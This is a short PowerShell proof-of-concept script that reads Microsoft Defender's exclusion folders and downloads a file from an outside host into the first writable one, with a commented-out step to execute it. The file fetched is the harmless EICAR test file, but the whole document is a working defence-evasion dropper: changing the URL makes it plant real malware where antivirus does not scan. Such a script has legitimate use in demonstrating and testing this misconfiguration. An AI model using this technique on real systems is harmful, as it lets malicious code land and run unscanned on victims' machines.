ExploitDefenderExclusionPOC.ps1

ExploitDefenderExclusionPOC.ps1

$ExPath = (Get-MpPreference).ExclusionPath
if ($ExPath.Length -gt 0) {
    foreach ($path in $ExPath) {
        try {
            $url = "https://secure.eicar.org/eicar.com"
            $output = Join-Path -Path $path -ChildPath "eicar.com"
            Invoke-WebRequest -Uri $url -OutFile $output
            Write-Host "Dropped malicious file -> '$($output)'"
            # Execute $output ...
            return
        }
        catch{}
    }
    Write-Host "No writeable folders in ExclusionPath"
}
else {
    Write-Host "No exclusions"
}